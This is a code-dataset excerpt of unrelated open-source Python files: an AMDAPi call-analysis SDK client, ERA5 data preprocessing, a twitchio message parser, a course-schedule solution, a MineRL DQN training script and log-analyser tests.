@_refresh_token\n def get_call(self, uuid: str) -> Call:\n \"\"\"Retrieves a call via UUID from the AMDAPi Backend.\n\n Args:\n uuid (str): Unique Identifier generated by the AMDAPI Backend assigned to a call.\n\n Raises:\n CallNotFoundError: UUID provided does not match any calls.\n Exception: Any other errors raised by the backend, including 500's.\n\n Returns:\n Call: A call object containing information retrieved from AMDAPi.\n \"\"\"\n # Initialise API Request Structure\n url = ENDPOINT_GET_CALL_W_UUID.format(uuid=uuid)\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\",\n \"Authorization\": self.__token.value,\n }\n\n # Send Synchronous Request\n response = requests.get(url, headers=headers)\n if response.status_code == 401: # Token Expired\n raise TokenExpiredError()\n elif response.status_code == 404: # Call Not Found\n raise CallNotFoundError()\n elif response.status_code != 200: # Other Errors (e.g. Internal Errors)\n raise Exception(f\"{response.status_code}: {response.reason}\")\n else:\n return Call.parse_call(response)\n\n @_refresh_token\n def search_calls(\n self,\n page_number: int = None,\n agent_id: int = None,\n client_id: int = None,\n start_date: str | datetime = None,\n end_date: str | datetime = None,\n ) -> SearchResult:\n \"\"\"Allows the client to search for calls whilst supplying search filters.\n\n Args:\n page_number (int, optional): Pagination Number if search results in > 350 calls. Defaults to None.\n agent_id (int, optional): Agent ID used internally (Supplied when call is initially analyzed). Defaults to None.\n client_id (int, optional): Client ID used internally (Supplied when call is initially analyzed). Defaults to None.\n start_date (str | datetime, optional): Date to start searching for calls. Defaults to None.\n end_date (str | datetime, optional): Date to stop searching for calls. Defaults to None.\n\n Raises:\n PageOutOfRangeError: If page number supplied exceeds the number of search results.\n InternalServerError: Error raised when the search filters provided do not match the required format.\n Exception: Will contain any other errors that may be raised, due to server errors etc.\n\n Returns:\n SearchResult: Object containing the search results, as well as the search params used that resulted in the search results.\n \"\"\"\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\",\n \"Authorization\": self.__token.value,\n }\n\n # Converts DateTime type to Correct Formatted String\n if isinstance(start_date, datetime):\n start_date = start_date.strftime(\"%d/%m/%Y\")\n if isinstance(end_date, datetime):\n end_date = end_date.strftime(\"%d/%m/%Y\")\n\n params = {\n \"page_number\": int(page_number) if page_number else None,\n \"agent_id\": int(agent_id) if agent_id else None,\n \"client_id\": int(client_id) if client_id else None,\n \"start_date\": str(start_date) if start_date else None,\n \"end_date\": str(end_date) if end_date else None,\n }\n\n response = requests.get(url=ENDPOINT_GET_CALLS, headers=headers, params=params)\n\n if response.status_code == 401: # Token Expired\n raise TokenExpiredError()\n elif (\n response.status_code == 500\n and response.json().get(\"success\", None) == \"false\"\n ): # Page out of Bounds Error\n raise PageOutOfRangeError()\n elif response.status_code == 500: # Page out of Bounds Error\n raise InternalServerError()\n elif response.status_code != 200: # Other Errors (e.g. Internal Errors)\n raise Exception(f\"{response.status_code}: {response.reason}\")\n else:\n return SearchResult.parse_search_results(response, params)\n\n @_refresh_token\n def delete_call(self, uuid: str) -> str:\n \"\"\"WARNING: This method is destructive and irreversible.\n Function used to delete a call from the AMDAPi Servers.\n\n Args:\n uuid (str): Unique Identifier generated by the AMDAPI Backend assigned to a call.\n\n Raises:\n CallNotFoundError: UUID provided does not match any calls.\n Exception: Any other errors raised by the backend, including 500's.\n\n Returns:\n str: Contains a message that will be displayed when the call has been successful.\n \"\"\"\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\",\n \"Authorization\": self.__token.value,\n }\n\n response = requests.delete(\n url=ENDPOINT_GET_CALL_W_UUID.format(uuid=uuid), headers=headers\n )\n\n # Check for valid response to parse into Call Object\n if response.status_code == 404:\n raise CallNotFoundError()\n elif response.status_code == 401:\n raise Exception(f\"{response.status_code}: {response.reason}\")\n else:\n return response.json()[\"data\"].capitalize()\n\n def analyze_call(\n self,\n audio_buffer: BufferedReader,\n filename: str,\n call_id: str,\n client_id: int,\n agent_id: int,\n customer_id: int,\n origin=\"\",\n language=\"\",\n summary: bool = False,\n agent_channel: int | None = None,\n ) -> Call:\n \"\"\"This function allows you to send an audio file (.wav) to AMDAPi for analysis.\n\n Args:\n audio (BufferedReader): Audio file for analysis.\n filename (str): filename of the audio file, from your database.\n call_id (str): Identifying Call ID number, from your database.\n client_id (int): Identifying Client ID number, from your database (NOT YOUR AMDAPI Client_ID).\n agent_id (int): Identifying Agent ID number, from your database.\n customer_id (int): Identifying Customer ID number, from your database.\n origin (str): [Inbound/Outbound]. Defaults to \"\".\n language (str): [en/en-in/fr]. Defaults to \"\".\n summary (bool): Whether or not you would like a summary of the call to also be included in the analysis. Defaults to False.\n agent_channel (int): Index of the channel that the agent is on (Required for stereo audio only).\n\n Raises:\n ValueError: Raised when invalid options are passed to 'origin' and 'language'.\n Exception: Handles any exceptions raised when attempting to upload the file to AMDAPi storage location.\n\n Returns:\n Call: Returns a Call Object that will have contain all the params included as well as the newly generated UUID.\n \"\"\"\n\n origin = origin.strip().title()\n if origin not in ANALYSIS_ORIGINS:\n raise ValueError(f\"Invalid option for origin. Options: {ANALYSIS_ORIGINS}\")\n\n language = language.strip().lower()\n if language not in ANALYSIS_LANGUAGES:\n raise ValueError(\n f\"Invalid option for language. Options: {ANALYSIS_LANGUAGES}\"\n )\n\n call_info = {\n \"filename\": str(filename),\n \"call_id\": str(call_id),\n \"client_id\": int(client_id),\n \"agent_id\": int(agent_id),\n \"customer_id\": str(customer_id),\n \"origin\": str(origin),\n \"language\": str(language),\n \"summary\": bool(summary),\n }\n\n audio_bytes, audio_object = get_audio_objects(audio_buffer)\n\n if agent_channel is not None: # File will be processed as Stereo\n if is_stereo(audio_object):\n if isinstance(agent_channel, int) and (agent_channel in [0, 1]):\n call_info[\"agent_channel\"] = int(agent_channel)\n else:\n raise ValueError(\n f\"agent_channel current_value:{agent_channel}. Allowed Values: [0,1]\"\n )\n else:\n print(f\"{filename} is NOT a stereo file. agent_channel ignored!\")\n\n # Retrieve S3 URL and Call_UUID\n upload_location, call_info[\"call_uuid\"] = self.__get_s3_url(call_info)\n\n # Try to Upload\n try:\n self.__upload_to_s3(audio_bytes, upload_location)\n except Exception as exc:\n self.delete_call(call_info[\"call_uuid\"])\n raise Exception from exc\n\n return Call.parse_call(call_info)\n\n @_refresh_token\n def __get_s3_url(self, call_info: Dict[str, str]) -> Tuple[str, str]:\n \"\"\"Internal Function for retrieving S3 Url for file upload.\n\n Args:\n call_info (Dict[str, str]): Call info passed in for creating table entries for\n\n Raises:\n TokenExpiredError: Will trigger Reauthorization\n Exception: Other Exceptions caught.\n\n Returns:\n Tuple[str, str]: [UploadURL, CallUID]\n \"\"\"\n\n # Initializing Headers retrieving Signed Bucket URL\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\",\n \"Authorization\": self.__token.value,\n }\n\n response = requests.post(\n url=ENDPOINT_GET_STORAGE,\n headers=headers,\n data=json.dumps(call_info),\n )\n\n if response.status_code == 401:\n raise TokenExpiredError()\n elif response.status_code != 200:\n raise Exception(f\"{response.status_code}: {response.reason}\")\n else:\n return response.json()[\"data\"][\"url\"], response.json()[\"data\"][\"call_uuid\"]\n\n def __upload_to_s3(self, audio_bytes: bytes, storage_url: str) -> None:\n \"\"\"Internal function for uploading audio file to backend.\n\n Args:\n audio_bytes (bytes): Binary representation of file for upload.\n storage_url (str): Presigned URL for file upload.\n\n Raises:\n Exception: Any exceptions that may be raised during upload.\n \"\"\"\n headers_audio = {\"Content-Type\": \"audio/wav\", \"x-amz-acl\": \"public-read\"}\n response = requests.put(\n url=storage_url, data=audio_bytes, headers=headers_audio\n )\n\n if response.status_code == 200 and \"etag\" in response.headers:\n pass\n else:\n raise Exception(f\"{response.status_code}: {response.reason}\")\n\n def __repr__(self):\n return f\"< amdapi.Client | ClientID: {self.__client_id} | Last Token Refresh: {self.__token.last_refresh} >\"\n","repo_name":"AMDA-pi/amda-pi-python-sdk","sub_path":"amdapi/base_classes/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":14579,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"75327322920","text":"import numpy as np\nimport os\nfrom tqdm import tqdm\n\nDATAROOT = \"/nvme/zhangtianning/datasets/ERA5/numpy/\"\nSAVEROOT = \"/nvme/zhangtianning/datasets/ERA5/numpy_set_float32/\"\nH5ROOT = \"/nvme/zhangtianning/datasets/ERA5/h5_set/\"\nYears = {\n 'train': range(1979, 2016),\n 'valid': range(2016, 2018),\n 'test': range(2018, 2019),\n 'all': range(1979, 2022)\n\n}\nimport h5py\ndef save_h5(path,obj):\n h5f = h5py.File(path, \"w\")\n h5f.create_dataset(\"data\", data=obj)\n h5f.close()\ntag= 'train'\n\n# Nabla_cdot_V_l = np.load(os.path.join(SAVEROOT,f\"Nabla_cdot_V_l_{tag}.npy\" ))\nyear_data=Field = np.load(os.path.join(SAVEROOT,f\"all_data_{tag}.npy\" ))[...,1:-1,:]\n# Vphysics_dx_l = np.load(os.path.join(SAVEROOT,f\"Vphysics_dx_{tag}.npy\" ))\n# Vphysics_dy_l = np.load(os.path.join(SAVEROOT,f\"Vphysics_dy_{tag}.npy\" ))\nField_dx = np.load(os.path.join(SAVEROOT,f\"Field_dx_{tag}.npy\" ))\nField_dy = np.load(os.path.join(SAVEROOT,f\"Field_dy_{tag}.npy\" ))\nDt= 6*3600\nu = Field[:,0:1]\nv = Field[:,1:2]\nT = Field[:,2:3]\np = Field[:,3:4]\n\nField_channel_mean = np.array([2.7122362e+00,9.4288319e-02,2.6919699e+02,2.2904861e+04]).reshape(1,4,1,1,1)\nField_channel_std = np.array([9.5676870e+00,7.1177821e+00,2.0126169e+01,2.2861252e+04]).reshape(1,4,1,1,1)\nField_Dt_channel_mean = np.array([ -0.02293313,-0.04692488 ,0.02711264 ,7.51324121]).reshape(1,4,1,1,1)\nField_Dt_channel_std = np.array([ 8.82677214 , 8.78834556 ,3.96441518 ,526.15269219]).reshape(1,4,1,1,1)\n\n\nField_dt = Field[1:]-Field[:-1]\npysics_part = (u*Field_dx + v*Field_dy)[:-1]*Dt \nField_Dt = Field_dt + pysics_part\nprint(Field_Dt.mean(axis=(0,2,3,4)))\nprint(Field_Dt.std(axis=(0,2,3,4)))\nprint(\"========================================\")\nprint(Field_Dt[:3].mean(axis=(0,2,3,4)))\nprint(Field_Dt[:3].std(axis=(0,2,3,4)))\nprint(\"========================================\")\nField_Dt = (Field_Dt - Field_Dt_channel_mean)/Field_Dt_channel_std\nprint(Field_Dt.mean(axis=(0,2,3,4)))\nprint(Field_Dt.std(axis=(0,2,3,4)))\nprint(\"========================================\")\nprint(Field_Dt[:3].mean(axis=(0,2,3,4)))\nprint(Field_Dt[:3].std(axis=(0,2,3,4)))\nexit()\n# save_h5(os.path.join(H5ROOT,f\"Nabla_cdot_V_l_{tag}.h5\" ),Nabla_cdot_V_l )\n# save_h5(os.path.join(H5ROOT,f\"all_data_{tag}.h5\" ),year_data_l )\n# save_h5(os.path.join(H5ROOT,f\"Vphysics_dx_{tag}.h5\" ),Vphysics_dx_l )\n# save_h5(os.path.join(H5ROOT,f\"Vphysics_dy_{tag}.h5\" ),Vphysics_dy_l )\n# save_h5(os.path.join(H5ROOT,f\"Field_dx_{tag}.h5\" ),Field_dx_l )\n# save_h5(os.path.join(H5ROOT,f\"Field_dy_{tag}.h5\" ),Field_dy_l )\n\n\n# np.save(os.path.join(SAVEROOT2,f\"Nabla_cdot_V_l_{tag}\" ),Nabla_cdot_V_l )\n# np.save(os.path.join(SAVEROOT2,f\"all_data_{tag}\" ),year_data_l )\n# np.save(os.path.join(SAVEROOT2,f\"Vphysics_dx_{tag}\" ),Vphysics_dx_l )\n# np.save(os.path.join(SAVEROOT2,f\"Vphysics_dy_{tag}\" ),Vphysics_dy_l )\n# np.save(os.path.join(SAVEROOT2,f\"Field_dx_{tag}\" ),Field_dx_l )\n# np.save(os.path.join(SAVEROOT2,f\"Field_dy_{tag}\" ),Field_dy_l )\n\n\nimport json\n# mean_std_info = {\n# \"Nabla_cdot_V_l\":{'mean':float(Nabla_cdot_V_l.mean()),'std':float(Nabla_cdot_V_l.std())},\n# \"year_data_l\" :{'mean':float(year_data_l.mean() ),'std':float(year_data_l.std() )},\n# \"Vphysics_dx_l\" :{'mean':float(Vphysics_dx_l.mean() ),'std':float(Vphysics_dx_l.std() )},\n# \"Vphysics_dy_l\" :{'mean':float(Vphysics_dy_l.mean() ),'std':float(Vphysics_dy_l.std() )},\n# \"Field_dx_l\" :{'mean':float(Field_dx_l.mean() ),'std':float(Field_dx_l.std() )},\n# \"Field_dy_l\" :{'mean':float(Field_dy_l.mean() ),'std':float(Field_dy_l.std() )},\n# }\n# with open(os.path.join(SAVEROOT,'mean_std_info.json'),'w') as f:\n# json.dump(mean_std_info,f)\n# with open(os.path.join(SAVEROOT,'mean_std_info.json'),'r') as f:\n# mean_std_info = json.load(f)\n#\n#\n# Nabla_cdot_V_l = (Nabla_cdot_V_l - mean_std_info[\"Nabla_cdot_V_l\"]['mean'])/mean_std_info[\"Nabla_cdot_V_l\"]['std']\n# year_data_l = (year_data_l - mean_std_info[\"year_data_l\" ]['mean'])/mean_std_info[\"year_data_l\" ]['std']\n# Vphysics_dx_l = (Vphysics_dx_l - mean_std_info[\"Vphysics_dx_l\" ]['mean'])/mean_std_info[\"Vphysics_dx_l\" ]['std']\n# Vphysics_dy_l = (Vphysics_dy_l - mean_std_info[\"Vphysics_dy_l\" ]['mean'])/mean_std_info[\"Vphysics_dy_l\" ]['std']\n# Field_dx_l = (Field_dx_l - mean_std_info[\"Field_dx_l\" ]['mean'])/mean_std_info[\"Field_dx_l\" ]['std']\n# Field_dy_l = (Field_dy_l - mean_std_info[\"Field_dy_l\" ]['mean'])/mean_std_info[\"Field_dy_l\" ]['std']\n#\n# Nabla_cdot_V_l = Nabla_cdot_V_l.astype('float16')\n# year_data_l = year_data_l.astype('float16')\n# Vphysics_dx_l = Vphysics_dx_l.astype('float16')\n# Vphysics_dy_l = Vphysics_dy_l.astype('float16')\n# Field_dx_l = Field_dx_l.astype('float16')\n# Field_dy_l = Field_dy_l.astype('float16')\n#\n# assert not np.isinf(Nabla_cdot_V_l).any()\n# assert not np.isinf(year_data_l ).any()\n# assert not np.isinf(Vphysics_dx_l ).any()\n# assert not np.isinf(Vphysics_dy_l ).any()\n# assert not np.isinf(Field_dx_l ).any()\n# assert not np.isinf(Field_dy_l ).any()\n#\n# assert not np.isnan(Nabla_cdot_V_l).any()\n# assert not np.isnan(year_data_l ).any()\n# assert not np.isnan(Vphysics_dx_l ).any()\n# assert not np.isnan(Vphysics_dy_l ).any()\n# assert not np.isnan(Field_dx_l ).any()\n# assert not np.isnan(Field_dy_l ).any()\n#\n# SAVEROOT2= \"/nvme/zhangtianning/datasets/ERA5/numpy_set_float16/\"\n# np.save(os.path.join(SAVEROOT2,f\"Nabla_cdot_V_l_{tag}\" ),Nabla_cdot_V_l )\n# np.save(os.path.join(SAVEROOT2,f\"all_data_{tag}\" ),year_data_l )\n# np.save(os.path.join(SAVEROOT2,f\"Vphysics_dx_{tag}\" ),Vphysics_dx_l )\n# np.save(os.path.join(SAVEROOT2,f\"Vphysics_dy_{tag}\" ),Vphysics_dy_l )\n# np.save(os.path.join(SAVEROOT2,f\"Field_dx_{tag}\" ),Field_dx_l )\n# np.save(os.path.join(SAVEROOT2,f\"Field_dy_{tag}\" ),Field_dy_l )\n\n\nexit()\n\nassert not os.path.exists(os.path.join(SAVEROOT,f\"all_data_{tag}\"))\n\nHdx = 6371000*np.sin(np.linspace(0,720,49)/720*np.pi)*2*np.pi/1440.0\nHdx = Hdx.reshape(1,1,1,49,1)[...,1:-1,:]\nHdy = 6371000*np.pi/720.0\n\n\n\nVphysics_dx_l =[]\nVphysics_dy_l =[]\nField_dx_l =[]\nField_dy_l =[]\nField_dz_l =[]\nyear_data_l =[]\nNabla_cdot_V_l =[]\n\nfor year in tqdm(Years[tag]):\n Nabla_cdot_V_l.append(np.load(os.path.join(DATAROOT,f\"Nabla_cdot_V_l_{year}.npy\" )))\n year_data_l.append(np.load(os.path.join(DATAROOT,f\"all_data_{year}.npy\" )))\n Vphysics_dx_l.append(np.load(os.path.join(DATAROOT,f\"Vphysics_dx_{year}.npy\" )))\n Vphysics_dy_l.append(np.load(os.path.join(DATAROOT,f\"Vphysics_dy_{year}.npy\" )))\n Field_dx_l.append(np.load(os.path.join(DATAROOT,f\"Field_dx_{year}.npy\" )))\n Field_dy_l.append(np.load(os.path.join(DATAROOT,f\"Field_dy_{year}.npy\" )))\n\nyear_data_l = np.concatenate(year_data_l )\nNabla_cdot_V_l = np.concatenate(Nabla_cdot_V_l )\nVphysics_dx_l = np.concatenate(Vphysics_dx_l )\nVphysics_dy_l = np.concatenate(Vphysics_dy_l )\nField_dx_l = np.concatenate(Field_dx_l )\nField_dy_l = np.concatenate(Field_dy_l )\n\nVphysics_dx_l = Vphysics_dx_l[...,1:-1,:]/Hdx\nVphysics_dy_l = Vphysics_dy_l[...,1:-1,:]/Hdy\nField_dx_l = Field_dx_l[...,1:-1,:]/Hdx\nField_dy_l = Field_dy_l[...,1:-1,:]/Hdy\nNabla_cdot_V = Field_dx_l[:,0:1] + Field_dy_l[:,1:2]\n\nyear=tag\nnp.save(os.path.join(SAVEROOT,f\"Nabla_cdot_V_l_{year}\" ),Nabla_cdot_V_l )\nnp.save(os.path.join(SAVEROOT,f\"all_data_{year}\" ),year_data_l )\nnp.save(os.path.join(SAVEROOT,f\"Vphysics_dx_{year}\" ),Vphysics_dx_l )\nnp.save(os.path.join(SAVEROOT,f\"Vphysics_dy_{year}\" ),Vphysics_dy_l )\nnp.save(os.path.join(SAVEROOT,f\"Field_dx_{year}\" ),Field_dx_l )\nnp.save(os.path.join(SAVEROOT,f\"Field_dy_{year}\" ),Field_dy_l )\n","repo_name":"veya2ztn/Seq2SeqAutoregressiveModel","sub_path":"tools/physics_data_analysis.py","file_name":"physics_data_analysis.py","file_ext":"py","file_size_in_byte":7997,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"74291472039","text":"# checks if there is an interval smaller than 30 minutes in the column_name\nimport sys\nimport pandas as pd\n\ndef main():\n f = pd.read_excel(sys.argv[1])\n \n column_name = \"ML_OffWrist_Prediction\"\n \n sequence = 0\n for i in range(len(f)):\n if (f[column_name][i] == 1):\n sequence += 1\n else:\n if(sequence < 30 and sequence != 0):\n print('sequence less than 30: ' + str(sequence) )\n print('found in: ' + str((i+1)-sequence) + ' --> ' + str(i+1) )\n sequence = 0\n \n\nif __name__ == \"__main__\":\n main()","repo_name":"LMicol/offwrist-detection","sub_path":"extra/longer_30_check.py","file_name":"longer_30_check.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3047579361","text":"import re\nimport typing\n\nif typing.TYPE_CHECKING:\n from .websocket import WSConnection\n\nACTIONS = (\n \"JOIN\",\n \"PART\",\n \"PING\",\n \"PRIVMSG\",\n \"PRIVMSG(ECHO)\",\n \"USERSTATE\",\n \"MODE\",\n \"RECONNECT\",\n \"WHISPER\",\n \"USERNOTICE\",\n)\nACTIONS2 = (\"USERSTATE\", \"ROOMSTATE\", \"PRIVMSG\", \"USERNOTICE\", \"WHISPER\")\nUSER_SUB = re.compile(r\":(?P<user>.*)!\")\nTMI = \"tmi.twitch.tv\"\n\n\ndef parser(data: str, nick: str):\n groups = data.split()\n action = groups[1] if groups[1] == \"JOIN\" else groups[-2]\n channel = None\n message = None\n user = None\n badges = None\n\n if action == \"PING\":\n return dict(action=\"PING\")\n\n elif groups[2] in {\"PRIVMSG\", \"PRIVMSG(ECHO)\"}:\n action = groups[2]\n channel = groups[3].lstrip(\"#\")\n message = \" \".join(groups[4:]).lstrip(\":\")\n user = re.search(USER_SUB, groups[1]).group(\"user\")\n\n elif groups[2] == \"WHISPER\":\n action = groups[2]\n message = \" \".join(groups[4:]).lstrip(\":\")\n user = re.search(USER_SUB, groups[1]).group(\"user\")\n\n elif groups[2] == \"USERNOTICE\":\n action = groups[2]\n channel = groups[3].lstrip(\"#\")\n message = \" \".join(groups[4:]).lstrip(\":\")\n\n elif action in ACTIONS:\n channel = groups[-1].lstrip(\"#\")\n\n elif groups[3] in {\"PRIVMSG\", \"PRIVMSG(ECHO)\"}:\n action = groups[3]\n channel = groups[4].lstrip(\"#\")\n message = \" \".join(groups[5:]).lstrip(\":\")\n user = re.search(USER_SUB, groups[2]).group(\"user\")\n\n if action in ACTIONS2:\n prebadge = groups[0].split(\";\")\n badges = {}\n\n for badge in prebadge:\n badge = badge.split(\"=\")\n\n try:\n badges[badge[0]] = badge[1]\n except IndexError:\n pass\n\n if action not in ACTIONS and action not in ACTIONS2:\n action = None\n\n if not user:\n try:\n user = re.search(USER_SUB, groups[0]).group(\"user\")\n except (AttributeError, ValueError):\n pass\n\n try:\n code = int(groups[1])\n except ValueError:\n code = 0\n\n batches = []\n if code == 353:\n if not channel:\n channel = groups[4].lstrip(\"#\")\n\n for b in groups[5:-1]:\n b = b.lstrip(\":\")\n\n if \"\\r\\n:\" in b:\n batches.append(b.split(\"\\r\\n:\")[0])\n break\n else:\n batches.append(b)\n\n return dict(\n data=data,\n nick=nick,\n groups=groups,\n action=action,\n channel=channel,\n user=user,\n badges=badges,\n code=code,\n message=message,\n batches=batches,\n )\n\n\ndef parse(data: str, ws: \"WSConnection\"):\n messages = data.split(\"\\r\\n\")\n output = []\n\n for msg in messages:\n if not msg:\n continue\n\n if msg == \"PING :tmi.twitch.tv\":\n output.append(dict(action=\"PING\"))\n continue\n\n msg = msg.replace(\":tmi.twitch.tv \", \"\")\n groups = msg.split()\n length = len(groups)\n","repo_name":"WISEPLAT/python-code","sub_path":" invest-robot-contest_TinkoffBotTwitch-main/venv/lib/python3.8/site-packages/twitchio/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"18"} +{"seq_id":"44029796607","text":"class Solution(object):\n def canFinish(self, numCourses, prerequisites):\n \"\"\"\n :type numCourses: int\n :type prerequisites: List[List[int]]\n :rtype: bool\n \"\"\"\n if prerequisites is None:\n return False\n if numCourses == 0 or len(prerequisites) == 0:\n return True\n graph = [[] for i in range(numCourses)]\n preNum = [0 for i in range(numCourses)]\n for item in prerequisites:\n graph[item[1]].append(item[0])\n preNum[item[0]] += 1\n queue = []\n for i in range(numCourses):\n if preNum[i] == 0:\n queue.append(i)\n while len(queue) != 0:\n item1 = queue[0]\n queue.remove(item1)\n for item2 in graph[item1]:\n preNum[item2] -= 1\n if preNum[item2] == 0:\n queue.append(item2)\n for item in preNum:\n if item != 0:\n return False\n return True\n \nif __name__ == \"__main__\":\n numCourses = 2\n prerequisites = [[1,0], [0, 1]]\n solution = Solution()\n print(solution.canFinish(numCourses, prerequisites))\n\n ","repo_name":"formernest/leetcode","sub_path":"leetcode/num207.py","file_name":"num207.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8186071080","text":"from selenium.webdriver.common.by import By\nfrom base_page import BasePage\n\nBUTTON = (By.XPATH, \"//button[text()='My Button']\")\n\n\nclass NonSpacePage(BasePage):\n\n def should_be_button(self):\n try:\n self.find_element(BUTTON)\n return True\n except:\n return False","repo_name":"AlekseyBurak/Test_UI_playground","sub_path":"pages/non_space_page.py","file_name":"non_space_page.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26505549602","text":"import argparse\nimport dataclasses\nimport torch\nimport wandb\nimport gym\nimport minerl\nfrom collections import namedtuple\n\nfrom minerl3161.buffers import ReplayBuffer, PrioritisedReplayBuffer\nfrom minerl3161.agents import DQNAgent, TinyDQNAgent, TinyRainbowDQNAgent, RainbowDQNAgent\nfrom minerl3161.trainers import DQNTrainer, RainbowDQNTrainer\nfrom minerl3161.hyperparameters import ClassicControlRainbowDQNHyperparameters, MineRLDQNHyperparameters, MineRLRainbowDQNHyperparameters, ClassicControlDQNHyperparameters\nfrom minerl3161.wrappers import minerlWrapper, classicControlWrapper\nfrom minerl3161.utils.termination import get_termination_condition\n\n\nPolicy = namedtuple('Policy', ['agent', 'trainer', 'wrapper', 'params'])\n\nPOLICIES = {\n # MineRL Policies\n \"minerl-dqn\": Policy(DQNAgent, DQNTrainer, minerlWrapper, MineRLDQNHyperparameters),\n \"minerl-rainbow-dqn\": Policy(RainbowDQNAgent, RainbowDQNTrainer, minerlWrapper, MineRLRainbowDQNHyperparameters),\n \"minerl-tiny-dqn\": Policy(TinyDQNAgent, DQNTrainer, minerlWrapper, MineRLDQNHyperparameters),\n\n # Classic Control Policies (CartPole, MountainCar etc.)\n \"cc-dqn\": Policy(TinyDQNAgent, DQNTrainer, classicControlWrapper, ClassicControlDQNHyperparameters),\n \"cc-rainbow-dqn\": Policy(TinyRainbowDQNAgent, RainbowDQNTrainer, classicControlWrapper, ClassicControlRainbowDQNHyperparameters),\n}\n\n\ndef main():\n parser = argparse.ArgumentParser('Parse configuration file')\n parser.add_argument('--policy', type=str, default='cc-rainbow-dqn')\n parser.add_argument('--env', type=str, default=\"CartPole-v1\")\n\n parser.add_argument('--wandb', action='store_true', default=True,\n help='sets if we use wandb logging')\n parser.add_argument('--no-wandb', action='store_false', dest=\"wandb\",\n help='sets if we use wandb logging')\n\n parser.add_argument('--gpu', action='store_true', default=True,\n help='sets if we use gpu hardware')\n \n parser.add_argument('--no-gpu', action='store_false', dest=\"gpu\",\n help='sets if we use gpu hardware')\n\n parser.add_argument('--human-exp-path', type=str, default=None,\n help='pass in path to human experience pickle')\n \n parser.add_argument('--load-path', type=str, default=None,\n help='path to model checkpoint to load (optional)')\n \n parser.add_argument('--render', action='store_true', default=False,\n help='sets if we use gpu hardware')\n\n args = parser.parse_args()\n\n # Ensuring human data is not being used with the RainbowDQN Policy as this is not supported\n if 'rainbow' in args.policy and args.human_exp_path is not None:\n raise ValueError(\"Using human data with a rainbow policy is not currently supported\")\n\n # Loading onto appropriate device\n using_gpu = torch.cuda.is_available() and args.gpu\n device = torch.device(\"cuda:0\" if using_gpu else \"cpu\")\n print(f\"Loading onto {torch.cuda.get_device_name() if using_gpu else 'cpu'}\")\n\n # Configure policy hyperparameters\n hp = POLICIES[args.policy].params()\n print(f\"Using the {args.policy} policy\")\n\n # Configure environment\n env = gym.make(args.env)\n env = POLICIES[args.policy].wrapper(\n env, \n **dataclasses.asdict(hp), \n extracted_acts = True,\n functional_acts = False, \n extracted_acts_filename=\"test.pkl\",\n repeat_action = 5\n )\n print(f\"Creating a(n) {args.env} environment to train the agent in\")\n\n # handle human experience\n if args.human_exp_path is None:\n print(\"WARNING: not using any human experience\")\n human_dataset = None\n else:\n human_dataset = PrioritisedReplayBuffer.load(args.human_exp_path) if args.human_exp_path is not None else None\n print(f\"Loading the human dataset from {args.human_xp_path}\")\n\n # Setup termination conditions for the environment (if available)\n termination_conditions = get_termination_condition(args.env)\n\n # Configure agent\n agent = POLICIES[args.policy].agent(\n obs_space=env.observation_space, \n n_actions=env.action_space.n, \n device=device, \n hyperparams=hp,\n load_path=args.load_path\n )\n\n if args.wandb:\n wandb.init(\n project=args.env + \"-\" + args.policy, \n entity=\"minerl3161\",\n config=hp,\n tags=[args.policy, args.env],\n monitor_gym=True\n )\n print(f\"Using wandb logging...\")\n\n\n agent.watch_wandb()\n\n # Initialise trainer and start training\n trainer = POLICIES[args.policy].trainer(\n env=env, \n agent=agent, \n human_dataset=human_dataset, \n hyperparameters=hp,\n device=device, \n use_wandb=args.wandb, \n render=args.render, \n termination_conditions=termination_conditions,\n capture_eval_video=False\n )\n\n trainer.train()\n\n\nif __name__ == '__main__':\n main()","repo_name":"will-maclean/MineRL","sub_path":"src/scripts/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5037,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"31866676560","text":"from datetime import date\nimport pathlib\nimport sys\nimport unittest\n\nimport log_analyzer as la\n\n\nclass GetConfigPathTestCase(unittest.TestCase):\n def test_default_path(self):\n path = la.get_config_path()\n self.assertEqual(path, './config.json')\n\n def test_path_from_args(self):\n sys.argv.append('--config=1.json')\n\n path = la.get_config_path()\n self.assertEqual(path, '1.json')\n sys.argv.pop()\n\n\nclass LoadConfigTestCase(unittest.TestCase):\n def test_ok(self):\n config = la.load_config()\n self.assertEqual(config, {\n 'REPORT_SIZE': 500,\n 'REPORT_DIR': './reports',\n 'LOG_DIR': './log',\n 'LOG_FILE': None,\n 'ERROR_PERCENT': 10,\n })\n\n def test_no_file(self):\n path = '1.json'\n sys.argv.append('--config={}'.format(path))\n self.assertRaises(FileNotFoundError, la.load_config)\n sys.argv.pop()\n\n def test_not_dict(self):\n path = '1.json'\n sys.argv.append('--config={}'.format(path))\n with open(path, 'w', encoding='utf-8') as f:\n f.write('[]')\n\n self.assertRaises(TypeError, la.load_config)\n pathlib.Path(path).unlink()\n sys.argv.pop()\n\n\nclass GetLatestLogFileTestCase(unittest.TestCase):\n def test_ok(self):\n log_dir = pathlib.Path('log')\n log_file = la.get_latest_log_file(log_dir)\n self.assertEqual(log_file, la.LogFile(pathlib.Path('log/nginx-access-ui.log-20170630.gz'),\n date(2017, 6, 30), '.gz'))\n\n def test_no_log_file(self):\n log_dir = pathlib.Path('log2')\n log_dir.mkdir()\n\n log_file = la.get_latest_log_file(log_dir)\n self.assertIsNone(log_file)\n log_dir.rmdir()\n\n def 